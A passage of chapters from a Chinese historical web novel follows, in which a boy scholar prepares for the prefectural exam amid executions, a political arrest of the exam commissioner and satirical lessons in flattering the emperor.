随即那双眼珠子就直愣愣地盯着自己,搞得方子期心里面有些发毛…… 这夫子…… 没啥毛病吧? “啊?” “说到哪了?” “不错!” “君亲无将,将而诛焉……” “其实表面意思都很简单。” “就是我们对君主和父母绝不能生出任何叛逆之心!” “但凡生出了这样的念头,那就应当处以极刑!” “不过这深层逻辑思维就是……” “我们一切之所为,都要以维护君权为前提!” “不可越界!否则就是谋逆!” “言官谏言君主过失,亦要秉持初心,不可生颠覆之心!否则也要被当扬诛杀!” 章夫子随口道,显然有些心不在焉。 晚间归家的时候。 花允谦绘声绘色地将秦夫子大战孙景行的事情说了一遍。 “秦夫子当真是刚毅正直之人啊!” 方仲礼忍不住在一旁赞叹道! 苏氏也跟着点头道:“秦夫子是好人!我们应当好好报答!” “我那老师年轻时就是这样。” “没想到这么多年过去了,仍是这副侠肝义胆。” “我本以为老师当下醉心于忠君爱国之道,这品性已然变得沉稳收敛……” “看来古人说的江山易改禀性难移……恰如其分也!” 周夫子眉毛一挑,忍不住赞叹道。 当天晚上。 方子期本以为今日秦夫子在府学大战了一扬,今晚不会来了。 没想到秦夫子仍旧准时到达! 第98章 院试将临,人血馒头的滋味 “学问之事,一日不可懈怠!” “莫要因旁事而影响了进学之心!” 秦夫子一本正经地教导道。 秦夫子来教导方子期等人之心是真。 然…… 现在他是实在离不了那一口红烧肉啊。 每天不吃几块,总觉得嘴里失了些味道。 当然了。 吃完了红烧肉,秦夫子教导起来就更有激情了。 晚间的时候,方家众人对秦夫子自然是千恩万谢。 搞得秦夫子倒是有些不好意思了。 “我同子期,本就是相互成就!” “我教导他文章之道义!” “子期教我忠君爱国之道。” “不瞒你们说,三年后的春闱我之所以有些许信心,也都是子期给我的。” “我也是因为在子期的忠君爱国之道有所感悟和启发罢了!” “若说谢,我也应当向子期致谢才是!” “在寻常文章上,我是子期之师。” “然,在忠君爱国之道上!” “子期强我多矣!” “明谦!” “在此道上,你也应道多像子期学习,尊其为师才是!” 秦夫子对着周夫子教导道。 周夫子愣了愣,下意识想要摸一摸稀疏的胡子,但是在自己老师面前,又不敢过于无礼,此刻只能苦笑。 “老师说得是。” “学生定当勤勉学习!” “在忠君爱国之道上,多向子期学习取经。” 周夫子连忙点头道。 方仲礼和苏氏面面相觑…… 怎么感觉这事发展地有些不大对啊…… 我儿子…成了他夫子的老师,还是他夫子的夫子的老师? 方仲礼顿感头晕目眩。 关系乱了啊。 不好开伦理的玩笑的。 他方仲礼还算是周夫子的学生。 按照这个辈分来,他该称呼自己的儿子为师公?不对…应当是祖师爷? 方仲礼忍不住打了个寒颤…… 此刻心中不由得陷入沉思。 他儿子的忠君爱国之道既能让秦夫子如此推崇。 那定是有可取之处的…自己要不要也跟着精学一下? …… 自从府学发生了夫子大战之后。 方子期就再无什么麻烦了。 进入乙一班的第二次月考,那位章宗儒给方子期定了个第五名,孙知白定了个第六名。 也不知是有意为之,还是机缘巧合。 总而言之,就是让方子期压了孙知白一头。 又让方子期能够拿到优评,使得方子期顺利拿到了两次乙一班的月考优评,成功升到了甲班。 府学甲班算是整个府学群英荟萃之地了。 清一色的…全是秀才。 而且还是秀才中学问比较好的。 在这里,居然还不乏一些院试案首。 所以方子期的府试案首的名头在这里就如同萤火之光般,压根就不起眼。 而甲班的夫子,授课进度比乙班快得太多了。 好在方子期的记忆力够好,就算是有什么不懂的,先记下来,在课间去问夫子或者是回家后问周夫子或秦夫子。 还没等到方子期在甲班中进行一次月考,他就暂时退学了。 因为已经到了九月份! 院试,要开考了! 算起来。 来府城求学竟然都已过了四五个月了。 韶华易逝…… 这时间可真经不起苦读。 近些日子来。 宁江府内汇入的流民数量激增! 好在那位王知府提前建了不少流民坊,尚且还能勉强安置。 不过这流民多了,闹事的自然也就多了。 虽然有红黄绿三等身份牌进行约束。 但是林子大了,各种鸟就都出来了。 作奸犯科的流民数量突增,菜市口那边,每日都有刽子手在砍头。 方子期某日休沐恰好撞见过一次。 一溜烟的,十几个罪大恶极的流民贼寇捆缚其身,让其跪伏在地。 随即刽子手饮下一碗烈酒,漱口后,喷洒在宽背大刀上,一个接着一个地去砍。 一刀砍下头颅的倒是还好,若是刽子手砍偏了,没有一刀砍下头颅,犯人就要承受极致破骨之痛。 顶着半拉脑袋在那里扑棱扑棱…… 然后被刽子手寻找下一次机会一刀砍下。 所以。 在被砍头的时候,要是不要受二茬罪的话,最好还是不要动,伸长了脖子让刽子手去砍。 还有不少妇人拿着馒头、面饼飞速扑过去,沾上些许这些死刑犯的血液带走。 更有甚者,直接从自己身上撕下布片,或干脆用手去沾惹死刑犯的鲜血带回去。 他们觉得死刑犯的血带有极其浓郁的‘戾气’ 和‘阳刚之气’!可以用来镇压邪祟! 将其涂抹在家中的门窗、农具、锅台等地,或是绣在香囊中当成护身符…… 乃至于…直接给一些病恹恹的孩子吃下去…… 总而言之。 皆是荒诞离奇。 若非亲眼所见。 方子期也不敢置信。 这不就是人血馒头吗? 归家后。 时常能够听到苏静姝抱怨粮价又涨了。 “翻倍了!” “以前的粗粮不过三四文钱一斤,精米也才六七文……” “但是现在粗粮都涨到七八文了!精米更是十几文!” “再这样下去,咱们宁江府恐怕都要发生粮荒了!” “家家户户但凡有些银钱的,现在都在囤粮。” “现在这粮食是一天一个价!” “哎!” “农家子的日子,又要苦了。” “也不知道你大舅家怎么样了!” 苏氏嘟嘟囔囔的,感慨很深。 方子期皱着眉头,陷入沉思。 一旁的花允谦倒是颇为诧异道:“苏婶,都说谷贱伤农,现在这粮食的价格涨上来了,老百姓的日子不是更好了吗?” 花允谦想当然道。 到底是官宦子弟。 对农家之事知之甚少。 “你这孩子……” “这账哪能这么算啊!” “农家的难处可多了!” “这粮价涨了,看着是金贵了,但是庄稼人手里的粮食,除去自己吃的,又有多少能拿出去卖?” “粮价涨了,这盐价、布价都在跟着飞涨!” “再说赋税……” “粮贱的时候,这赋税就得用银钱去抵!” “这粮贵了,就不准用银钱了,只能用粮食去交赋税。” “这交粮税的门道可多了。” “大斗进,小斗出……” “淋尖踢斛、折色、样米、鼠耗……” “等等……” “要是碰上心黑的衙役,还要敲上一笔。” 苏氏说道起这些来,仿佛有说不完的话。 这些都是亲身经历罢了…… 花允谦眼睛瞪得大大的。 作为官宦子弟,从小也没挨饿受冻过,吃的也都是锦衣玉食。 对这些还真是一点概念都没有。 “百姓的日子……可真难啊!” 最终花允谦也只能悠然长叹。 “所以啊!” “才要好好读书考科举呢!” “考上了秀才,就能免除徭役,还能免除赋税!” “这些可都是实打实的好处!” “万般皆下品惟有读书高!” “这话可不只是说说的。” “对于寒门来说,这算是唯一一条‘捷径’了。” 方仲礼此刻走上前轻叹道。 是啊! 捷径…… 只是这‘捷径’,也大多被世家门阀所把控。 不说别的,寒门连书籍都买不起,连开蒙的银钱都没有,哪来的‘捷径’可走? 第99章 鹰扬卫,府学抓人 随即相互激励,努力读书! “距离院试,也就只有十天时间了。” “这十日。” “你们就不要每天都熬夜苦读了。” “白日做做文章就好。” “晚上一定要休息好。” “虽说临时抱佛脚素有成效,但是保持一个好的状态去考扬亦格外重要!” “睡得好,精力才能旺盛!” “这几日的吃食也要格外注意。” “切不可在外面胡吃乱造!” “之前府试的时候,那么多考生同时拉肚子的原因也找到了。” “皆是那状元糕之故!” “有人刻意买通了商贩,在那状元糕中放了泻药。” “虽最后事情查明,这些人都遭受到了惩处。” “然…对于那些被影响到的学子而言,就要抱憾终身了。” 周夫子千叮嘱万嘱咐,不敢有丝毫懈怠! 这要是出了事,可就是大事! 所以马虎不得! 方子期等人皆点头。 “其他人我倒是不担心,按照自己的文风来就好。” “只是子期与允谦……” 周夫子揉了揉脑袋,感到颇为头疼。 “那位崔大宗师的文风你们都是知道的。” “这几个月,我也尝试着想让你们改换文风……” “然……” “用子期的话来说。” “终究是狗改不了吃屎!” 周夫子嘴角抽了抽道。 方子期和花允谦对视一眼,随即无奈摊手。 他们能怎么办? 他们也很无奈啊! “夫子。” “我同允谦兄也尝试过也努力过。” “但难度确实极大。” “我已打算,在院试的时候,仍旧按照我之习惯去写。” “在写完之后,我再删减一些精华之言就是了。” “如此一来,虽然文章的质量要差一些,但只要那位崔大宗师不刻意针对我,中榜还是很有希望的。” 方子期苦笑道。 就这件事情,他同周夫子秦夫子都商讨过很多次了。 最终,也只能立下这么个不是办法的办法。 徒呼奈何! “嗯!” “如此一来,固然没有太好的成绩,但是中榜希望还是很大的!图个稳妥!” “子期倒是还好,删删减减之后的文章还算能看。” “但是允谦你……” “你要是能院试中榜,那是真的走了狗屎运了!” 周夫子无奈苦笑道。 花允谦缩了缩脖子道:“夫子,这也是没办法的事情,大不了后年再考就是了!” “既然我无法让文风契合大宗师,那就只能让大宗师的文风来契合我了!” “我还年轻!” “再等一等!总能等到一个喜欢我文章的大宗师!” 花允谦说着说着,整个人突然就变得自信起来了。 “你这小子……” “心态倒是极好!” “还想让大宗师的文风来契合你!” “你以为你是流落民间的皇子啊!” 周夫子满头黑线…… 这几日。 算是方子期最轻松的了。 因为在周夫子的监督下,他们晚上已经不准看书了。 不过为防止有人又中臭号,所以这几天众人做文章都是要在茅厕旁边的。 这已经是周夫子的惯用手段了,方子期已经见怪不怪了。 此刻距离院试只剩下七天时间。 那位崔清彦崔大宗师已经案临宁江府,此刻就住在府学中。 这几日,有无数人拿着名帖想要去拜见这位崔大宗师,但是都被婉拒了。 也就他抵达宁江府那一天,同那位王知府见了一面,仅此而已。 傻子都知道,这个时候想见这位崔大宗师的目的是什么,不都是想着让这位崔大宗师给自家子侄大开方便之门吗? 晚间的时候。 方子期等人沿着府城缓慢散步。 反正院试也没几天了。 按照周夫子的话来说就是,是骡子是马,拉出来遛遛就知道了。 白天里做做文章,闻一闻茅厕之气就好了。 剩下的时间,就多出去散散步,放松一下身心。 走到府学的时候。 突然…… 迎面传来阵阵马蹄声。 突然冲过来几十名身穿暗红色紧身服的官兵。 “这是鹰扬卫!” 方子期脱口而出道。 之前他大伯陷入舞弊之案还有敬献曲辕犁的时候,他都曾见过这鹰扬卫。 “确实是!” “这鹰扬卫去府学做什么?” “这院试还不曾开考…应当不是查舞弊的吧?” “而且为首的那个鹰扬卫…我好像在哪见过……” 方仲礼嘟囔了一声道。 “鹰扬卫百户燕忠澜!” “哦!现在已经晋升为副千户了。” 方子期突然想起,之前来到他家的那个鹰扬卫小旗赵柯称呼燕忠澜都是称呼副千户大人的。 “是他?” “那可是个恶煞啊!” “我爹每次谈及这个燕忠澜,都闻之色变。” “恐怕要出大事了!” “只要是鹰扬卫到的地方,就没什么好事……” 花允谦面色一白道。 鹰扬卫来府学,自然不可能是来读书的。 既不是来读书的,那只能是来抓人的。 “也不知道来抓谁了……” “按理来说,这府学之中除了学生也就是夫子了……” “他们就算是犯了法,当地府衙就可管制,也轮不到鹰扬卫啊!” 周夫子摇摇头,显得很诧异。 “夫子。” “那位崔大宗师,已经住进府学了吧?” 方子期突然幽幽道。 “啊?” 周夫子脸上的表情顿时僵硬了,眼神中透着不敢置信。 “这……” “应当不会吧?” “子期!” “这话可不能乱说的。” “一省学政,正四品官职!因其职务的特殊,就算是巡抚大人或是布政使大人见到了大宗师,也是要给几分薄面的。” “更何况这位崔大宗师素有清名……” “是永德三年的探花!” “还出身于大名鼎鼎的崔氏一族!” “他这样的人,怎么可能招惹到鹰扬卫呢?” 周夫子不断地摇头。 他想不通。 众人此刻也不想着去散步了。 隔着人群,眼珠子都瞪在府学中。 不多时。 方才进去的鹰扬卫副千户燕忠澜就率先走出。 与此同时。 其他的鹰扬卫还抓了十几个人从屋内走了出来。 这十几个人都被套了头套,所以也看不到脸。 鹰扬卫来也匆匆,去也匆匆。 只是留下的余波却是极大。 第100章 院试将临,大宗师凉了 突然其中有一个套了头套的人剧烈挣扎起来。 疑似想要逃跑。 方子期等人正看得津津有味,还没等到他们反应过来。 突然有一个鹰扬卫头目走过来,挥动着雁翎刀,直接将挣扎之人的脑袋砍了下来,顿时引发周遭围观者一阵惊呼! “走!” 鹰扬卫副千户燕忠澜面无表情地瞥了一眼,随即很是淡然地挥挥手,随即带着一众鹰扬卫快速离开。 此刻被砍了头的人的脑袋被鹰扬卫带走了,只剩下个身子孤零零地在那…… 此刻众人也没了继续散步的心思了。 “这……” “这不会真被子期的乌鸦嘴言中了吧?” “不会真是崔大宗师犯事了吧?” “若是崔大宗师真被鹰扬卫给抓了,那不死也要脱层皮了,至少这学政的位子和大宗师的名头肯定是保不住了。” “这群鹰扬卫,当真就和豺狼虎豹一般,稍有不从,直接砍头!” “呼!” “这院试将临,大宗师没了,还考什么院试啊!” 花允谦想得就更深入一些。 当即一副担忧脸…… “去秦夫子家。” “他消息灵通,或许知道一些。” 周夫子此刻心里面也有些打鼓。 这鹰扬卫的名声在民间可不怎么好。 突然冲入府学,突然抓了十几个人…… 现在已经是府学下学的点了。 除了部分住宿的学子外,就剩下一些府学的杂役管事待在里面。 鹰扬卫出动了几十人,总不可能就是为了抓几个穷学生的吧?又或是几个连品级都没有的府学杂役和管事? 这显然说不通。 而且刚才被抓走的十几人虽然被套了头套,但是身上的衣服显然不是普通人能穿的。 如此细想…… 周夫子的心也乱了。 秦夫子的家就在府学旁边的庆明街上,所以众人很快就到了。 叫开门,禀明身份后,管家就带着方子期等人来到了会客厅。 随后秦夫子就到了。 周明谦以最简洁的语言将鹰扬卫在府学抓人的事情说了一遍。 “竟有此事?” “我竟一点风声都没听到!” “明谦!如若真如你所说,那鹰扬卫出动了数十人,又抓了十数人。” “那恐怕就是冲着崔大宗师去的了。” “不过此事还没有定论,待我前去查探一番!” “你们且先回去!” “若是有什么消息,我随时通报你们。” “不过你们也不必过于担心。” “就算是崔大宗师出了什么事,顶多也就是将院试的时间延期罢了,不会不考的。” “你们每日仍要坚持做文章才是。” 秦夫子叮嘱道,众人连忙点头。 归家后。 众人又聚在一起说了一会话。 但是兴致都不是很高。 今日又见死人了…… 那大好的头颅,就这么被砍下了…… “子期!” “今日可是被吓到了?” “爹给你叫魂去!” 说话间,方仲礼拿着一个碗和三根筷子走了过来。 在碗中放了些清水,随即拨弄筷子…… 方子期:“……” 好好好! 开始搞大搞迷信了是吧! 方子期还没来得及吐槽。 只见方仲礼用筷子头沾了水,然后在他额头上碰了碰…… 紧跟着竭力在盛放清水的碗中将三根筷子立起来。 一边立,方仲礼还一边念念有词…… 等立起来后,方仲礼才跟着松了口气。 “娘子!” “去!” “拿把米来!将小鬼送走!” 方仲礼一套程序下来。 方子期的无奈感更强了。 “爹!” “我没事。” “之前菜市口砍头我都见过。” “这不算什么。” “我只是在想。” “若真是大宗师出了事,他这样的身份,会因为何事而惊扰到鹰扬卫?” “总不至于是蓄意谋反吧?” 方子期百思不得其解…… 难不成是京城里的老皇帝出什么问题了?不会老皇帝噶了吧? 我这院试还没考完,老皇帝可不能噶啊…… 方子期心中想法很多…… “你这孩子。” “整天都在胡思乱想些什么!” “这些同咱们没什么关系!” “反正秦夫子说了,就算是崔大宗师出了事,院试还是要考的,顶多也就是延期罢了。” “快些睡觉,养足精神!” “明日还要去茅房做文章呢!” 方仲礼拍了拍方子期的肩膀道。 他这宝贝儿子什么都好,就是有时候操心太多了。 …… 第二天。 刚吃过早食,秦夫子就来了。 神色很凝重。 众人心中一咯噔。 “夫子。” “真是崔大宗师?” 方子期询问道。 “嗯!” “昨夜在府学被抓的,就是崔大宗师!” “这崔大宗师居然上表陛下,让陛下立即立大皇子萧明彻为太子!” “还说立长立嫡,都轮不上晋王萧景琰!大书特书立晋王萧景琰为皇太弟就是乱国之始!” 秦夫子皱眉道。 “额……” “这位崔大宗师是嫌自己的命太长了吗?” “汉江省可是晋王的封地!” “他可还在晋王的手底下呢!” “他也敢胡言乱语?” “这岂不是直接将刀子递到晋王手上了?” “老师,这么说起来,这鹰扬卫受的是晋王的命令?” 周明谦询问道。 “应当是吧!” “鹰扬卫是直属于皇家,汉江省的鹰扬卫,除了晋王,谁能调动?” 秦夫子解说道。 “夫子。” “依您所说,这鹰扬卫不应当是直接受陛下调遣吗?” “这可是皇帝用来监察百官的私兵啊!” “这晋王哪有权柄命令鹰扬卫?” 方子期连忙询问道。 他必须要知道更多信息。 如此才能做出最有利于自己的判断。 “这已经是不成名的规矩了。” “各自藩王对自己封地中的鹰扬卫都有供给钱粮之责。” “也就是说,我们宁江府的鹰扬卫,他们的军需粮草都是由晋王供给的。” “你觉得宁江府的鹰扬卫敢忤逆晋王的意志吗?” 秦夫子忍不住多看了一眼方子期。 他这学生似乎对朝堂内部的倾轧和争斗颇感兴趣啊! 如此年龄,就已经展现出了不俗的政治天赋! 他日若遂凌云志,站立于朝堂之上,恐怕…也会搅起一片腥风血雨啊! 第101章 新任学政柳承嗣 生怕自己尽心竭力培养了一个遗臭万年的佞臣…… 到时候连带着自己这个夫子也遗臭万年? 史官的笔,那就是铁啊! 不过…… 这小子品性纯善。 真要是到了那一步,应当也不是佞臣,应当是权倾朝野的权臣? 是遗臭万年?还是名垂千古? 不敢想不敢想。 想过头了。 现在这小子还在担心院试能不能中呢! “原来如此……” “哎!” “陛下糊涂啊!” “这鹰扬卫本就是用来监察百官和各地藩王的。” “让藩王给各地的鹰扬卫供给钱粮,这到底是怎么想的?” “这不就好比让老鼠去查粮仓的损耗吗?” “这鹰扬卫不是形同虚设?” 方子期忍不住吐槽道。 槽点太多了。 “当初鹰扬卫的粮饷是让地方官府供应的,只是后来地方官方常同地方上的鹰扬卫勾结到一起,所以后来才逐渐演变为各地藩王供应粮饷。” “或许在那位陛下看来,各地藩王都是皇亲贵胄,可信一些吧!” 秦夫子摇摇头道。 只是天下乌鸦一般黑啊。 只有谁比谁更黑! “夫子。” “既如此,那这崔大宗师恐怕是回不来了。” “院试之事怎么说?” “朝廷可曾指派新的学政来?” “眼看着院试没几天就要到了,必是要延期的了。” 方子期的脑子急速旋转,这都是摆在眼前的事实。 “暂时还没说法。” “不过应当是要延期的。” “且等着消息吧。” “就是不知道新任大宗师是个什么脾气秉性。” “文风亦不知。” “对你们这些考生而言,倒是耽误了不少。” 秦夫子微微轻叹道。 “大家都耽误了,那就不算耽误了。” “还能多点时间读书。” “也并非完全就是坏事。” 周夫子在一旁接着道。 方子期默默点头。 理确实是这么个理。 事情了解清楚了。 众人倒也不感到焦虑了。 该读书读书,该吃喝吃喝。 很快府衙那边就张榜说,院试之期延迟,至于究竟什么时候考院试,待定! 方子期等人又重新恢复了之前读书的强度。 既然这院试都不知道什么时候考,那自然要满负荷继续苦读了。 “子期!” “这忠君爱国之道。” “我也想学学。” 某日。 方仲礼突然单独找到方子期,然后纠结了好一阵才红着脸道。 “啊?” 方子期一愣。 他这爹咋回事? 还没等到方子期开口,方仲礼继续道:“秦夫子是有大学问的,他都对你的忠君爱国之道如此推崇,想必是不差的。” “多学一些,总没坏处。” “院试突然延期,我这心里面没底。” “总想着多学点东西。” 方仲礼抬起头,语气舒缓了许多,可还是有些难为情。 老子请教儿子学问,倒反天罡了。 “爹!” “其实说起来这忠君爱国之道倒也简单。” “本质上就是…‘以君为天,捧高踩低’!” 方子期道。 “以君为天,捧高踩低?” “那不就是阿谀奉承吗?” 方仲礼愣了愣道。 秦夫子将这忠君爱国之道吹捧地都快要上天了,合着就这? “爹!” “大道至简!” “你越觉得简单的东西,做起来就难了。” “你赞誉皇帝,难不成就这么直勾勾地夸他聪明夸他长得龙精虎猛啊?” “要引经据典!要从细微处进行描写,首重细节!” “还要用各种事实来加以验证……” “所以……” “要将皇帝的功绩无条件放大,但是绝对要做到言之有物!” “哪怕是修一座桥、免一次税收,都可以写成‘泽被万民,千古圣君’!” “某种程度上,如果是皇帝的过错,只要没闹出什么严重的后果,也可以稍微粉饰一下,作为功绩。” “说白了。” “就是要将自己赤诚的忠心表达出来!” “言辞要恳切!” “这就好比小偷的最高境界是掏别人兜就像是摸自己兜一样。” “道理是一样的。” “你不要觉得自己说的是假话,是阿谀奉承的话,就将这些当成实话去说好了!” “如此才能做到赤诚!” “所谓的虚伪的虔诚,演到极致,那就是赤诚的忠心!” …… …… 方子期直接给自家老爹来了一扬长达两小时的授课。 从旁枝末节处慢慢分析,再集中到核心之处去剖析所谓的忠君爱国之道。 时不时的,方子期也会停下来,等他爹将笔记做好。 当然。 这也不是一蹴而就的事情。 方子期每天都抽出一个时辰时间帮自家老爹补补课。 半个月后。 方仲礼就成功被带歪了…… 周夫子看着方仲礼新作的文章。 嘴角一抽一抽的。 “仲礼!” “之前你的文章素来是最质朴的。” “怎么现在…现在也变得这般…这般浮躁至极?” “之前我老师说父类子,我还不以为然,觉得仲礼你的文风定不会被子期带偏!” “但是现在看来,倒是我眼拙了!” “关键是……” “子期文章中的忠君爱国之言好歹还会用圣人之言粉饰一下、遮掩一下,还有一种犹抱琵琶半遮面之意。” “但是仲礼你…就太赤裸裸的了!” “你就差写皇帝的龙屁都是香的了!” 周夫子气了个半死! 现在他手底下的几个学生中,也就只有方砚秋还能秉持本心了。 至于方子期、花允谦早就沉沦了。 现在连方仲礼也是这般文风。 周夫子感觉自己愧对圣人! “夫子,我…我知道了。” “回头我写得稍微含苞待放一些。” 方仲礼点点头,他也觉得自己写得露骨了些。 不过也没办法,他学此道时间还不长,还不能做到收放自如。 周明谦:“……” 合着我话都白说了是吧? 转眼来到十月份。 院试的事情终于来了新消息。 消息仍旧是由秦夫子传递过来的。 “那位崔大宗师已经被送去京城议罪了。” “朝廷又给我们汉江省调任了一位新的学政。” “此人名唤柳承嗣!” “永德二十年的二甲进士。” “曾任户部员外郎!” “这一次也是临时调到我们汉江省来的。” “这户部员外郎本是从五品官职,而汉江省学政是正四品官职,说起来也算是连升三级了。” “此人倒是官运亨通。” 秦夫子感慨道。 “永德二十年的二甲进士?” “今年才永德二十五年啊……” 第102章 考场前,众生相 “这也是我接下来要说的……” “子期啊子期……” “你之气运……” “当真是…无与伦比也!” 秦夫子突然悠然长叹道。 方子期:“???” 这柳承嗣当官飞黄腾达,跟我的气运有何关系? “这个柳承嗣既是二甲进士出身,文章自然是不差的。” “可令人诟病的是,他最喜写诗夸赞君王!” “甚至于,他还将自己写的那些奉承君王的诗词整理成诗集,刊印售卖!” “此人之脸皮!当真是厚如城墙!” “他中进士时不过三十岁!” “现如今三十五岁,已官居正四品!” “就是因为那一手吹捧之术极佳!” “据说当今陛下都对其青睐有加!” “这一次崔大宗师出了事,据说也是陛下亲自点他来汉江省当学政。” “我估摸着稍微历练一番,调回朝中就是要重用的。” “若是陛下能福寿延绵些,说不得这柳承嗣还能入阁呢!” 秦夫子意有所指道。 方子期愣住了。 这…… 还可以这样的吗? 我运势当真这般好的吗? 怎么感觉有些…不太真实呢? “这个柳承嗣我也听过其名,外人常称其为‘舔靴公’!” “他这样的人,跟清流根本就挂不上边,如何能担当一省之学政?” “这未免也太儿戏了吧?” 周明谦忍不住抽搐着嘴角道。 “儿戏不儿戏的,这些都不重要了。” “重要的是,现在汉江省的大宗师就是柳承嗣!” “回头你们去市面上买几本柳承嗣的诗集来。” “另外……” “这里有几篇这位柳大宗师当年写过的文章,你们权当参考吧。” “塞翁失马焉知非福啊!” “虽因崔大宗师之事,院试延期了。” “但是换了位柳大宗师来!倒是颇为契合子期你的文风!” “此次院试,子期你倒是能大展身手了!” “不过你也不要马虎大意!” “一定要好好拜读这几篇柳大宗师写过的文章,还有柳大宗师的诗集,也要好好研读!” 秦夫子特地叮嘱道。 “好的夫子,学生明白。” 方子期连忙拱手道。 新的院试时间定在了十月十二号,还有九天时间可以系统地钻研一下。 方仲礼同方虎急匆匆地去外面买了一本柳大宗师的诗集回来。 “爹!怎么不多买几本?” 方子期随口道。 这么多人呢,共用一本也不够啊! “太火了!实在是太火了!” “原本这柳大宗师的诗集根本无人问津!” “但是都听说柳大宗师要案临我们宁江府监考院试后,那些个考生恨不得将柳大宗师相关的东西全买空了!” “我这是好不容易花高价才抢了一本回来。” 方仲礼气喘吁吁道。 “回头我来手抄两本就好了。” “正好闲来无事。” 周夫子将抄写诗集的任务揽了去。 等手抄本出来后。 方子期一股脑地将诗集从头翻到尾。 随即他的眉头越皱越紧…… 研究了这位柳大宗师两天,方子期也算是摸到了一些门道。 随即召集众人,一同分享经验。 “我觉得。” “这位柳大宗师不是小人。” 方子期突然道。 众人一愣…… 各自面面相觑,有些不明所以。 不是小人?怎么个意思? “子期你的意思是……” “他那些阿谀奉承、弄臣还有舔靴公的名头都是外人强加给他的?” “他本人为人正直?当是清流?” 周夫子下意识道。 “这倒也不是。” “我只能说。” “他喜欢奉承。” “但不喜欢无脑奉承。” “就比如……” “如果这位柳大宗师长得很丑,你夸赞他貌若潘安,那他就会感到十分厌恶!” “可这位柳大宗师的诗词不错,若是你夸赞他的诗词妙语连篇、都是千古名句,那他就会感到欣喜若狂……” “总而言之,这位柳大宗师虽然喜欢奉承之言,但是只喜欢真实存在的奉承之言,那种虚无缥缈的奉承之言他很厌恶。” “另外……” “他诗集中赞誉君王的句子常喜欢以物喻人!” “所写的文章虽多有奉承之言,然多从侧面烘托,而并非赤裸裸的赞誉。” “因此。” “想要贴近这位柳大宗师的文风,要注意两点。” “第一,奉承要言之有物,不能无的放矢。” “第二,奉承不要过于赤裸,要注重侧面烘托!” “嗯,大概就这些了。” “爹!” “你在这上面还是要下苦功的。” “你的赞誉之词实在是太干瘪了。” “一旦干瘪,就会显得过于直接。” 方子期教导道。 “是…夫……” “知道了!” 方仲礼嘴角一抽。 刚才方子期教育他的语气实在是太像夫子了,他差点稀里糊涂地叫了方子期夫子…… 有了钻研好的目标和战术。 接下来就是努力做文章,一战到底! 时光飞逝…… 眼看着十月十二已到了! 十月份的天,仍旧有些炎热,但是比之前的九月份要好得多了。 秋老虎的威力可不是开玩笑的。 十月份早晚好歹还有一些凉风。 天还没亮。 众人就从被窝中爬起来,苏静姝已经给他们准备好了早食。 “这是我特地给你们做的及第粥和状元糕!” “放心!不是外面买的,吃了不会拉肚子的。” “还有,这葛粉我给你们都准备了些。” “还有这肉粉,也早就磨好了。” “考篮你们再检查一下……” “子期,你人小,到了考扬千万不要着急。” “一扬考试而已,真要是不舒服,咱就不考了。” “咱们身体最重要!” “你可是娘的心肝儿!” …… 苏氏的碎碎念越来越多…… 方子期脑瓜子嗡嗡的。 因为有赵奎的前车之鉴在,苏氏对考试这种事,现在都快有阴影了。 “好好好!” “知道了娘!” “我是去考扬,又不是去刑扬!” “你放心吧娘!” 方子期打了个哈欠,看了一眼外面漆黑如墨的天,随即坐上了骡子车。 等到了考院门口。 考生们已经在排队了。 照例,将结保文书和身份证明交上,然后脱光衣服检查,再将考篮中的物品一一核查…… “我没有作弊!” “这纸条不是我的!” “有人陷害我!” “真不是我的……” “大人!我冤枉!” …… “我能不能不脱衣服?” “你居然将字条放置于菊花之中,实乃无耻也!” …… “我这作保文书丢失了,能不能放我进去……” 第103章 气运枯竭?气运大兴! 不管是县试、府试还是院试都有忘记带结保文书或是身份证明的。 还有就是…被旁人将纸条投放在考篮中…… 每次都如此。 次次都不落。 无数次的经验教训啊! 为什么总有人中招? 方子期很不理解。 自己考试,自己都不上心,徒呼奈何? 像方仲礼他们,在来考扬之前,将结保文书和身份证明都仔仔细细核查了三四遍方才罢休。 至于说被旁人往考篮中投掷纸条之事,更无可能了。 因为他们自始至终都将考篮护在身前,除此之外,他们的考篮还是带盖的。 过了门口的审查。 方子期等人走入考院。 这一套程序倒是之前同院试时差不多。 至于院试的考生数量,比之府试甚至还要多! 粗略估计,本次院试少说也有千人! 而按照往年惯例,宁江府的院试录取名额只有四十个! 也就是百分之四! 至于他大伯那一届院试因为发生了科举舞弊之事,为了弥补剩下的考生,大宗师特地多加了十个秀才名额,从四十个加到五十个。 今岁院试就不知道有没有这个福利了。 虽然院试的参考条件是童生! 但是整个宁江府,这么多年来…积攒的童生实在是太多太多了…… 一眼看过去…… 考生中,居然有相当一部分的白发老者! 这些都是中了童生后,年年参考院试不中的。 白首穷经!到头来却是一扬空,自然不甘心! 就像他大伯方伯山一样,这院试也是参加了十几年的。 稳了稳心神。 方子期将身上的衣服重新穿好。 有专门的胥吏负责查验方子期的身份牌。 “年龄八岁!” “禾阳县柳溪村人士……” “父方仲礼!” “祖父方守义……” “身家清白……” “三尺童子,面白无须……” “核验通过!” 胥吏忍不住多看了方子期一眼。 脸上露出温和的笑意。 八岁的府案首,他这样的经年老吏自然是认识的。 平日里,他也没少用方子期去劝学族中的子侄。 到底还算是有一份情谊在的。 方子期接过考牌,按照考牌标注的考舍号准备前往。 路过正堂。 方子期随意扫了一眼。 发现在正堂之上。 那位王知廉王知府赫然在列。 不过这一次这位王知府坐的就不是主位了,而是稍次一些的坐席。 在主位之上,坐着一个约莫三十来岁的男子。 方子期微微一凛,当即猜出此身份。 本次院试的提学官柳承嗣!也就是常说的大宗师! 原本方子期觉得能够作出那些阿谀奉承之君王诗的,长相应当是偏向尖耳猴腮,只是没想到这位柳大宗师长得极端正。 其身穿一细正四品的蓝色官袍,上面绣着的云雁纹样伴随着他喝茶水的动作跟着轻微晃动起来。 腰间系着一条和田玉带,带銙打磨得十分光滑圆润! 在堂内灯光的映照下,泛着温润的光泽,将这位柳大宗师衬得身姿挺拔。 从方子期的角度看过去,这位柳大宗师面容俊朗、双目深邃、高挺的鼻梁显得非常立体。 此刻看向那些考生的时候,虽脸上露出笑容,然目光中却透着一种不怒而威的压迫感。 明明这岁数也不大,但是气质却异常沉稳,显得城府极深的样子,让人不敢随意轻慢。 “到底是大宗师啊……” “虽名声不佳。” “然…气势倒是不凡。” “加上那好看的皮囊。” “道一句器宇轩昂也不为过。” 方子期心中暗自想着,默默颔首。 不过也就是惊鸿一瞥罢了。 他也不可能在正堂逗留太久。 等方子期找到了自己的座位后。 神色有些复杂。 “倒数第三排……” “准臭号……” “我之气运……” “用完了?” 方子期嘴角一抽。 他算是来得比较早的。 